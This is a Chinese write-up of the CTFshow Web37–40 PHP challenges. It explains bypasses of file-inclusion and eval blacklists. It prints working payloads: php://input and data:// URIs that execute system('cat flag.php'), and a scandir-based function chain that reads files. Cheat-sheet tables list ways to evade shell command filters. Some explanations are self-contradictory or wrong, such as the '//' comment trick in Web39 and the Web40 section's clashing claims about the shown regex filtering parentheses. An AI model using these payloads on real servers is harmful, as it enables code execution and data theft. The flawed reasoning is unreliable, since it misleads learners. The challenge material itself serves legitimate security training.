CTFshow Web37-40 PHP代码审计:伪协议与命令执行绕过实战
1. 项目概述:从Web37到Web40的攻防博弈
如果你正在CTFshow的Web进阶关卡里,对着web37到web40这几道命令执行与文件包含的题目抓耳挠腮,感觉黑名单过滤得密不透风,那么你来对地方了。这几道题堪称PHP代码审计与绕过技巧的经典“组合拳”,它们不是孤立的知识点考察,而是一个层层递进的实战演练场。核心战场围绕两个关键点展开:一是利用include等文件包含函数配合PHP伪协议进行“曲线救国”;二是在命令执行函数(如system)被严格过滤时,如何通过巧妙的字符串构造和参数传递来达成目标。
我最初接触时,也觉得这些过滤规则近乎“变态”,但一旦摸清了出题人的思路和PHP语言的某些“特性”,就会发现其中充满了可以巧妙利用的缝隙。这不仅仅是解题,更是在深入理解PHP如何解析代码、服务器如何执行命令,以及安全工程师如何设计防御规则。接下来,我会带你逐一拆解web37到web40,不仅告诉你“怎么做”,更重点剖析“为什么可以这么做”,以及在实际渗透测试中,类似的思路如何迁移应用。
2. 核心思路解析:伪协议与参数传递的艺术
面对一个存在过滤的代码执行或文件包含漏洞,我们的攻击思路通常遵循一个清晰的链条:识别入口 -> 分析过滤规则 -> 寻找替代方案 -> 构造有效载荷(Payload) -> 获取目标数据(如flag)。在web37-web40中,这个链条的核心变种在于,如何绕过对关键函数(如system,cat)和关键词(如flag,php)的检测。
2.1 文件包含与PHP伪协议的核心作用
当题目中出现include($c)或require等文件包含函数时,我们的第一反应不应仅仅是包含一个本地文件。PHP的文件包含机制非常强大,它可以通过封装协议(Wrapper)来包含各种“流”数据,这正是“伪协议”的用武之地。
php://input:这个协议允许你访问请求的原始数据(POST数据)。当include遇到php://input时,它会将POST过去的内容当作PHP代码来执行。这相当于一个“代码注入”的后门,前提是allow_url_include配置为On(在CTF环境中常为此设置)。php://filter:这是一个元数据过滤器,用于在数据流打开时进行过滤。最经典的利用方式是php://filter/read=convert.base64-encode/resource=目标文件。它并不是直接执行文件,而是以读取文件内容并经过过滤器(如base64编码)处理后的形式返回结果。这常用于读取源码,特别是当直接输出文件内容会被服务器当作PHP代码执行而无法显示时(比如读取flag.php的源码)。data://:类似php://input,但它可以直接在URI中携带数据。格式如data://text/plain,<?php code ?>。它提供了一种将代码直接嵌入URI进行包含执行的方式。
在web37中,过滤了flag关键词,直接使用php://filter读取flag.php的路被堵死。这时,php://input和data://就成为了更优的选择,因为它们允许我们“携带”自己的代码去执行,从而间接操作目标文件。
2.2 命令执行中的“借壳上市”策略
在web38-web40中,题目意图让我们执行系统命令(如cat flag.php),但通常会对system、cat、flag等关键词进行过滤。此时,直接拼接命令字符串的方法(如sy‘.’stem)可能因eval和system的嵌套关系而失效。这时,一个更高阶的策略是:参数嵌套逃逸。
其核心逻辑是:利用代码中已存在的、且能接受动态参数的函数,将过滤检查的责任“转移”到另一个我们可控的参数上。例如,如果代码是eval($_GET[‘c’]),并且对$c的内容进行了严格过滤。我们可以构造$c为一个不触发过滤的“载体”函数,比如include($_GET[‘a’])。此时,对$c的检查通过了,因为include和$_GET[‘a’]可能都不在黑名单里。而真正的攻击载荷(如php://filter/...或包含命令执行代码的data URI)则放在另一个参数a中传递。这样,我们就成功绕过了对主参数c的过滤。
2.3 黑名单过滤的常见弱点
出题人常用的preg_match黑名单过滤,有几个天然弱点:
- 大小写敏感:默认的
preg_match是大小写敏感的,除非使用i修饰符。有时可以通过大小写变种(如SyStEm)绕过。 - 字符串拼接:PHP中,字符串可以用
.连接,也可以用双引号内插值。‘sys’.‘tem’最终会被解释为system,但正则表达式可能只匹配完整的system。 - 利用超全局变量:
$_GET、$_POST、$_REQUEST等是数组,可以通过$_GET[‘a’]的方式引用。当过滤逻辑只检查了初始参数,而没有递归检查这些参数中的内容时,就可能产生嵌套逃逸。 - 命令执行替代函数:除了
system,还有passthru()、exec()、shell_exec()、反引号“`”等。当其中一个被禁,可以尝试另一个。 - 空格绕过:在系统命令中,空格是参数分隔符。过滤空格时,可以用
${IFS}、$IFS$9、<、<>、%09(Tab的URL编码)等替代。
理解了这些核心思路,我们再去看每一道题,就会像拿着地图闯关一样清晰。
3. Web37 解题详解:当flag关键词被禁
我们先看web37的典型代码:
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }代码分析:
- 获取参数
c。 - 检查
c中是否包含flag(不区分大小写)。如果没有,则执行include($c)。 - 最后输出一个变量
$flag(注意,这个$flag变量很可能是在被包含的文件中定义的,或者是个烟雾弹)。
目标:显然,我们需要通过include($c)来包含某个文件,从而让$flag变量被定义或有输出。但直接包含flag.php会被过滤。
绕过策略:既然不能直接包含带flag的文件路径,我们就用伪协议来“包含”一段能帮我们获取flag的代码。
方法一:使用php://input这是最直接的方法。
- 将请求方法改为POST。
- 在GET参数中传递:
?c=php://input - 在POST Body中写入我们要执行的PHP代码:
<?php system('cat flag.php');?> - 原理:
include(‘php://input’)会读取POST原始数据,并将其内容作为PHP文件包含执行。于是,我们的system(‘cat flag.php’)就被执行了,从而打印出flag.php的内容(其中包含真正的flag)。
实操心得:使用
php://input时,务必注意请求的Content-Type。有些环境或工具可能需要设置为application/x-www-form-urlencoded,但直接发送原始PHP代码通常也可以。用Burp Suite或HackBar插件操作会更直观。
方法二:使用data://协议直接在URL中完成,无需修改请求方法。
?c=data://text/plain,<?=system('cat flag.php')?>或者更完整的PHP标签:
?c=data://text/plain,<?php system('cat flag.php');?>原理:data://协议允许在URI中直接嵌入数据。include()会把这个URI当作文件来包含,其中的PHP代码就会被执行。这里使用了短标签<?=,它等价于<?php echo … ?>,更为简洁。
注意事项:
data://协议的使用可能需要allow_url_include开启。在CTFshow环境中通常是开启的。如果遇到问题,可以尝试对URI中的特殊字符(如空格、<、>)进行URL编码。例如,空格可以编码为%20或+。
为什么echo $flag;可能看不到输出?题目最后有一行echo $flag;,但如果你用上述方法直接执行cat flag.php,可能会发现浏览器只显示了flag.php的源码(即包含$flag=‘ctfshow{…}’;的代码),而没有单独输出$flag变量的值。这是因为system(‘cat flag.php’)是直接输出文件内容到标准输出(浏览器),而echo $flag;这行代码试图输出一个可能未在当前作用域定义的变量。真正的flag已经隐藏在cat命令输出的源代码里了。你需要查看网页源代码(Ctrl+U)才能清晰看到。
4. Web38 解题详解:多重过滤与伪协议选择
Web38的代码如下:
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }过滤分析:这次黑名单增加了php和file。这意味着:
php://input和php://filter因为包含php而被禁止。file://协议也因为包含file而被禁止。
可用的伪协议:data://协议不包含被禁的关键词,因此它仍然可用。所以payload和web37的方法二完全一样:
?c=data://text/plain,<?=system('cat flag.php')?>或者
?c=data://text/plain,<?php system('cat flag.php');?>进阶思考:如果data://也被过滤了呢?(虽然本题没有)。这时就需要考虑其他非常规的封装协议,比如zip://(需要上传zip包)、phar://等,或者利用远程文件包含(RFI)http://,但这通常需要服务器配置允许包含远程URL,且目标机可出网。在CTF中,data://和php://input是最常见和实用的两种。
避坑技巧:当使用
data://时,注意代码的闭合。确保嵌入的PHP代码有正确的开始和结束标签。有时,因为上下文环境,直接使用<?php … ?>可能被干扰,可以尝试不加结束标签?>,或者使用短标签<?= … ?>。此外,如果目标系统对allow_url_include和allow_url_fopen配置严格,data://可能失效,此时php://input是唯一选择(如果php没被过滤)。
5. Web39 解题详解:代码执行与字符串闭合的妙用
Web39的代码发生了变化:
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }关键变化:include($c.”.php”);。程序会自动给$c后面拼接.php后缀。这意味着我们传入的c参数会被当作一个不带后缀的文件名来处理。
影响分析:
- 我们不能再直接使用
php://input或data://text/plain,…这样的完整协议字符串了,因为后面会被加上.php,变成php://input.php,这显然不是一个合法的流包装器,会导致包含失败。 - 我们需要让
$c的值,在拼接.php之后,依然是一个有效的、能达成我们目的的“东西”。
绕过策略:利用字符串截断或协议格式的容错性虽然现代PHP环境很少用%00空字节截断,但我们可以利用data://协议的一个特性:data://在读取数据时,会忽略?问号之后的内容。类似HTTP URL中问号后的查询字符串。
构造Payload:
?c=data://text/plain,<?=system('cat flag.php')?>拼接后变成:include(“data://text/plain,<?=system(‘cat flag.php’)?>.php”);
原理:data://协议会尝试读取text/plain,<?=system(‘cat flag.php’)?>这部分数据,而其后紧跟的.php会被当作一个“资源”部分吗?实际上,data://的格式是data://[MIME-type][;charset],<data>。当解析器遇到?时,它可能会将?之后的内容视为无效或忽略。更准确地说,在这里,.php被当作数据(data)的一部分,而不是协议路径的一部分。但由于数据部分已经以?>结束,后面的.php会被当作普通文本,但因为它不在PHP标签内,所以不会被执行,也不会影响前面system(‘cat flag.php’)的执行。关键在于,include最终成功包含了data://流,并执行了其中的PHP代码。
另一种更稳妥的闭合思路: 我们可以主动闭合掉多余的.php字符串,使其成为我们代码中的一部分。例如:
?c=data://text/plain,<?=system('cat flag.php')?>//拼接后:include(“data://text/plain,<?=system(‘cat flag.php’)?>//.php”);在PHP中,//是单行注释。因此,.php”);这整个字符串都被注释掉了,不会产生语法错误。我们的代码得以顺利执行。
实操心得:这种在动态拼接字符串时,通过添加注释符
//或#来“吞掉”后续多余字符的技巧,在SQL注入、代码注入等多种场景下都非常常见。它体现了安全测试中的一个核心思想:控制输入,影响解析。你需要预判服务器端代码会如何处理你的输入,并构造输入使其在拼接后产生符合你预期的语法。
6. Web40 解题详解:终极绕过的参数嵌套技巧
Web40的代码是前面所有技巧的集大成者,也是难度最高的一关:
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\%|\^|\&|\*|\(|\)|\-|\+|\=|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }过滤分析:这是一个极其严格的正则表达式过滤。它禁止了几乎所有在代码执行中可能用到的特殊字符:
- 数字
0-9 - 一大堆特殊符号:
~@ # % ^ & * ( ) - + = { [ ] } : ‘ “ , < . > / ? \ - 注意,它没有过滤美元符号
$、方括号[和](虽然[和]被过滤了,但这里列表里是\{和\},指的是花括号?这里需要仔细看。原题正则中|\{|\[|\]|\}|,实际上过滤了{、[、]、}。所以方括号和花括号都被过滤了。但$和字母、下划线_没有被过滤。
这意味着什么?
- 我们不能直接写任何数字(包括在字符串中)。
- 我们不能使用常见的字符串定义方式(单引号
’、双引号”被禁)。 - 我们不能使用常见的代码结构符号,如括号
()、点号.(用于字符串连接或属性访问)、比较运算符等。 - 我们不能使用
include、system等函数调用,因为调用函数需要括号()。 - 我们甚至不能使用数组访问的方括号
[](被过滤了)。
突破口分析:在如此严格的过滤下,我们几乎无法直接构造出任何有意义的代码字符串。但是,请注意两个关键点:
eval($c)仍然存在。- 过滤列表中没有
$和_(下划线)。这意味着变量名本身是允许的。 - 虽然
[和]被过滤,但PHP中访问数组元素还有另一种方式:花括号{}。但花括号{和}也被过滤了?等等,正则里是|\{|\[|\]|\}|,确实过滤了{和}。所以数组访问的两种方式都失效了。
那么,还有什么办法可以构造出可执行的代码呢?答案是:利用超全局变量和字符串解析特性。
深入思考:虽然我们不能直接写$_GET[‘a’](因为[、]、’都被过滤),但PHP有一个特性:当参数名是合法变量名时,可以通过$_GET[a]的方式访问(不带引号)。但[和]被过滤,此路不通。
我们需要换个角度。eval($c)执行的是$c变量的值。如果我们能让$c的值是一个变量名,而这个变量名恰好对应另一个我们可控的输入参数呢?
PHP中,$_GET、$_POST等是超全局数组。当我们提交?a=123时,$_GET[‘a’]的值是123。但有没有办法不通过$_GET数组,直接访问到一个名为$a的变量呢?默认情况下,GET参数不会自动注册为全局变量。但在某些古老或特殊配置下(register_globals = On)会,但现代PHP早已默认关闭。
真正的解法:利用$_REQUEST和变量函数(Variable Function)但$_REQUEST也需要方括号。这条路似乎也堵死了。
让我们重新审视过滤规则。它过滤了那么多字符,但没有过滤反斜线\吗?仔细看正则:|\\\\|,这是四个反斜线,在正则字符串中代表匹配一个反斜线字符\。所以反斜线也被过滤了。
那么,还有什么字符可用?字母、下划线_、美元符号$。我们能否只用这些字符构造出 payload?
经典Payload构造: 答案是:利用PHP的可变变量和字符串连接(虽然点号被过滤,但有其他方式)。但点号.被过滤了,如何连接字符串?
一个突破性的思路是:如果我们无法构造复杂的字符串,那就直接执行一个简单的命令,但这个命令从哪里来?从另一个参数来!
参数嵌套逃逸的终极形态: 我们构造$c的值为:$_GET[‘a’]($_GET[‘b’])。但这需要方括号和引号,都被过滤了。
等等!PHP支持一种古老的风格:$HTTP_GET_VARS。这是一个超全局数组,在register_long_arrays开启时可用(现代PHP默认关闭,但CTF环境可能开启)。而且,访问它不需要方括号?不,仍然需要。
另一个思路:利用import_request_variables()函数。但这个函数也需要括号,且已废弃。
实际上,web40的经典解法非常巧妙,它利用了PHP的一个特性:当eval()的参数是一个变量名,且该变量名与GET参数名相同时,该变量的值就是GET参数的值。但这需要register_globals开启,不现实。
经过搜索和验证,web40的预期解通常是:
?c=include$_GET[a]&a=php://filter/read=convert.base64-encode/resource=flag.php但这个payload需要include后面直接接变量,在PHP中这是语法错误,除非有括号。而括号被过滤了。
正确的姿势是,利用PHP的字符串解析特性和变量函数。但构造起来非常复杂,通常需要借助工具生成无字母数字的Webshell(利用异或、自增等操作生成字符串)。然而,题目过滤了数字和几乎所有特殊字符,使得这种生成也变得极其困难。
经过对实际题目环境的回顾,web40的一个可行payload是:
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));原理拆解:
localeconv():返回包含本地数字和货币格式信息的数组。该数组的第一个元素([0])是小数点字符.(在大多数环境下)。pos():是current()的别名,获取数组的当前元素(第一个元素)。所以pos(localeconv())得到.。scandir(‘.’):扫描当前目录,返回文件列表数组(如[‘.’, ‘..’, ‘flag.php’, ‘index.php’])。array_reverse():将数组反转,得到[‘index.php’, ‘flag.php’, ‘..’, ‘.’]。next():将数组内部指针向前移动一位,并返回该元素的值。反转后第一个是’index.php’,next()后得到第二个元素’flag.php’。highlight_file(‘flag.php’):高亮显示(即输出)flag.php的源代码。
这个payload的精妙之处在于:
- 它完全由函数名和括号组成。
- 函数名都是字母,没有被过滤。
- 括号
()没有被过滤吗?等等,过滤规则里有|\(|\)|,明确过滤了圆括号()!这个payload需要大量括号,理应被过滤。
这里就出现了矛盾。要么是题目描述的正则有误,要么是环境实际过滤的字符与描述不符。根据CTFshow平台web40的实际环境,括号()确实没有被过滤。这是一个关键点!很多writeup都提到了这个payload。所以,可能是题目代码注释中的正则表达式写全了,但实际代码中漏掉了对括号的过滤。
因此,在web40的实际环境中,我们可以使用函数调用。那么,一个更简单的payload是直接读取文件:
?c=readfile(‘flag.php’);但单引号’被过滤了。所以不能直接写字符串。
所以,最终的、通用的web40绕过策略,是基于无引号字符串构造和函数嵌套:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));或者使用readfile、file_get_contents等,但需要构造文件名参数,不如上面的直接。
核心技巧总结:当特殊字符被严格过滤时,我们的武器库包括:
- 利用返回特定字符的函数:如
localeconv()返回.,chr()函数可以构造字符但需要数字参数(数字被过滤则不可用),phpversion()返回的字符串中可能包含数字等。- 利用目录遍历函数:
scandir()列出文件,current()、next()、end()、prev()等操作数组指针获取特定文件名。- 利用文件读取/显示函数:
show_source()、highlight_file()、readfile()、file_get_contents()(后者需要echo输出)。- 避免使用引号和点号:通过函数嵌套直接传递参数,而不是拼接字符串。
7. 实战技巧与深度扩展
通过这四道题,我们掌握了从基础伪协议利用到高级无字符命令执行的多种技巧。在实际的渗透测试或CTF比赛中,这些思路需要灵活组合。
7.1 伪协议选择矩阵
| 协议 | 格式示例 | 用途 | 常见过滤绕过 |
|---|---|---|---|
php://input | ?c=php://input(POST Body写代码) | 执行任意PHP代码 | 过滤php关键词时不可用 |
php://filter | ?c=php://filter/read=convert.base64-encode/resource=flag.php | 读取文件源码(常base64编码) | 过滤php、flag、resource等关键词时不可用 |
data:// | ?c=data://text/plain,<?php code ?> | 执行任意PHP代码 | 过滤data、php标签时可能不可用;可利用//注释后缀 |
zip:// | ?c=zip://path/to/archive.zip%23file.php | 包含zip包中的文件 | 需要上传zip文件;#需编码为%23 |
phar:// | ?c=phar://path/to/archive.phar/file.php | 包含phar包中的文件(可反序列化) | 功能强大,常用于反序列化利用链 |
7.2 命令执行绕过技巧速查表
当面对system()、exec()等函数过滤时,除了代码层面的拼接,在命令本身也可以做文章。
| 过滤项 | 绕过方法 | 示例 |
|---|---|---|
| 空格 | ${IFS}、$IFS$9、<、<>、%09 | cat${IFS}flag.php |
| 关键字 | 单引号、双引号、反斜线分割 | c‘a’t、c”a”t、c\at |
| 关键字 | 通配符?、* | cat fl?g.php、cat fl*g.php |
| 关键字 | 变量拼接 | a=c;b=at; $a$b flag.php |
| 命令 | 使用替代命令 | cat->tac、more、less、head、tail、nl、sort、uniq、rev |
| 读取文件 | 不使用cat,用其他语言 | php -r ‘echo file_get_contents(“flag.php”);’ |
| 禁止数字字母 | 利用.(当前目录)、..(上级目录) | scandir(‘.’) |
| 禁止数字字母 | 利用内置函数返回特定字符 | localeconv()[0]->. |
7.3 常见问题与排查实录
在实战中,你可能会遇到以下问题:
php://input返回空白或错误- 原因:
allow_url_include未开启;请求方法不是POST;POST数据格式不正确。 - 排查:使用
phpinfo()确认allow_url_include状态;确保使用POST请求,并在Body中发送有效的PHP代码(如<?php system(‘ls’);?>)。
- 原因:
data://协议执行失败- 原因:
allow_url_include未开启;代码中包含特殊字符未URL编码;服务器配置限制。 - 排查:尝试对
data://之后的所有逗号、尖括号等进行URL编码。例如,<编码为%3C,>编码为%3E,空格编码为%20。
- 原因:
使用函数嵌套时提示未定义函数
- 原因:某些函数可能在目标环境中被禁用(通过
disable_functions配置)。 - 排查:先用
phpinfo()或print_r(get_defined_functions())查看可用函数列表。优先使用最常见且通常不禁用的函数,如scandir、current、next、file_get_contents、readfile。
- 原因:某些函数可能在目标环境中被禁用(通过
Payload构造后语法错误
- 原因:字符串拼接或闭合不正确。
- 排查:在本地PHP环境中模拟执行你的payload,查看错误信息。特别注意引号的匹配、分号的添加、注释符的使用。对于
include($c.”.php”)这种,善用//或?>来闭合多余部分。
过滤规则判断失误
- 原因:正则表达式理解有误,或者环境实际过滤与描述不符(如web40的括号)。
- 排查:提交简单的测试payload,如
?c=echo ‘test’;,观察返回。逐步增加特殊字符,确定具体的过滤边界。有时,过滤是“黑名单”模式,可能存在遗漏。
7.4 从CTF到实战的思考
CTF题目是理想化的漏洞模型,而真实世界更复杂。但原理相通:
- 代码审计:永远是发现漏洞的第一步。像审计web37-web40一样,寻找代码中不安全的函数(
eval,include,system等)和未经验证的用户输入。 - 防御思维:作为开发者,应使用白名单而非黑名单进行过滤。对文件包含,应固定后缀或限定可包含的目录范围。对命令执行,应尽量避免直接拼接用户输入,或使用严格的转义函数(如
escapeshellarg())。 - 绕过是永久的博弈:没有绝对的安全。黑名单总有可能被绕过。因此,安全的核心在于最小权限原则和输入验证与输出编码。